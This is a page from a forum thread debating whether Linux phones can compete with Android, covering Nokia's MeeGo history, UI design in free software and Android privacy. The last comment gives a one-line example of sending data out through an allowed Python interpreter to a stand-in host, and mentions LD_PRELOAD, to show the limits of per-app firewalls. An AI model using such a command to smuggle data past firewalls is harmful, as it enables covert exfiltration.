211–220 of 491 posts
What's the benefit to a true Linux phone over running LineageOS? LineageOS at least is essentially Android, so the ecosystem is there.
I'd be shocked if it took off. The FOSS development paradigm seems to be allergic to good UI design, and this is far more important for people on mobile than desktop.
We have GNOME 40 now which is beautiful. I can imagine it would be beautiful on mobile pretty soon as well.
> But let's start by making a short list of main reasons of failure per effort, starting with the companies involved: > ... > Nokia (Maemo/Meego): Change in corporate strategy (new CEO), > ... Nokia Linux based phones didn't fail simply because of a new CEO, but because of a partnership with Microsoft that brought a CEO and a deal with Windows Mobile on Nokia phones in exchange for phasing out of Linux and Symbian de…
If it wasn't for Microsoft, Linux on Nokia phones would have succeeded. That seems wildly optimistic. I owned an N900 and used an N9 for a while, and while I loved them for all their nerdy glory, they where not ready for prime time. Why do you think Nokia would have done better with Meego than they did with WP?
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Not sure about that, I just think that "design" has a lower barrier to entry. A pure designer cannot one day find themselves writing code for a major piece of opensource software. A pure programmer can find themselves arranging some UI and designing a logo on Inkscape, that won't look and feel great. Put the two together and something magical can happen, though not always, as design is so easy the programmer can be o…
It’s even worse, I think. Good UX design looks deceptively easy, but is actually incredibly hard. So hard that a lot of programmers don’t even recognize how terrible they are at it, or how high the skill ceiling actually is. They think UI design is pretty colors and rounded buttons. In a functioning software company, the managers recognize this skill difference and simply order the developers to implement what the de…
Sometimes making software more user-friendly may even cause the code to get more "ugly", because instead of a nice and elegant piece of software that only solves the core problem, you now have to deal with all the weirdnesses of how people perceive the problem as well. Taking away complexity on the user's side almost always adds complexity to the code. And if you're the developer, it's very easy to think that the tool you created is perfectly usable, because you understand everything about the mental model that went into it.
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In android’s case the use of Linux is an implementation detail though.
Without Linux Android wouldn't have gotten off the ground.
Imagine an alternate history where Google bought QNX instead of Android Inc. back in 2005, do you think Android would still dominate the Mobile OS market today, or do you think Google QNX would be the dominant mobile OS.
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We have GNOME 40 now which is beautiful. I can imagine it would be beautiful on mobile pretty soon as well.
I hope you are joking. I have Fedora 34 with Gnome 40 right now on my gaming PC as a second system and I can barely find two windows (not even apps, just two windows) that can be defined as "nicely done". Everything else is terrible. Even worse once you start looking for apps on he net. Everything that is not Electron-base is simply ugly, constructed without any thought about UX.
Linux desktop is nowhere due to the thousands of distributions and disparity in development effort. A linux phone is simply unthinkable. Biggest strength in android/ios is the centralized leadership and vision. This enables consumers to make an easy choice, which attracts developers, who all seek predictability and maximum exposure. But even if the linux community centralizes around a singularity, it will still be no…
> Linux desktop is nowhere this is as untrue as "Year $YEAR will be year of Linux on desktop" was so far (posting from laptop running Linux) > A linux phone is simply unthinkable Linux phones exist already > You can't race It is not always necessary to win completely and crush competition to reach goal
This will be untrue when linux will have noticeable* share of installs. Not just you and some other tech guys who amount to grand total of 2-3% of desktop systems.
[*] - at least 10-15%.
I'd be shocked if it took off. The FOSS development paradigm seems to be allergic to good UI design, and this is far more important for people on mobile than desktop.
Its not about taking off - it's about having an alternative that is available even if it's just for 0.01% of users.
I don't understand the desire for a Linux phone as so described in the article as a daily driver. The Android platform represents an enormous amount of work that encompasses a more secure base kernel, an unparalleled selection of applications designed for mobile usage and written in a memory-safe language, fantastic sandboxing and user privacy features leagues ahead of any desktop operating system, and great diversit…
Yes, Android is mature and secure, but it's not private . No one seems to talk about this much, but there are a few Android "features" that had to be designed by sociopaths. The main one for me is the complete lack of control of network traffic. Other than a VPN loopback app, which is pretty janky, there is no way to disable network traffic per app. Even with a VPN loopback, there is no way to only allow network traf…
Edit: Say you're playing around in Python repl. You enable it in your firewall. Now I just have to shell out to "python -c 'import requests; requests.post('my-innocent-app.herokuapp.com', ...)'". With a little more work I could do something like LD_PRELOAD.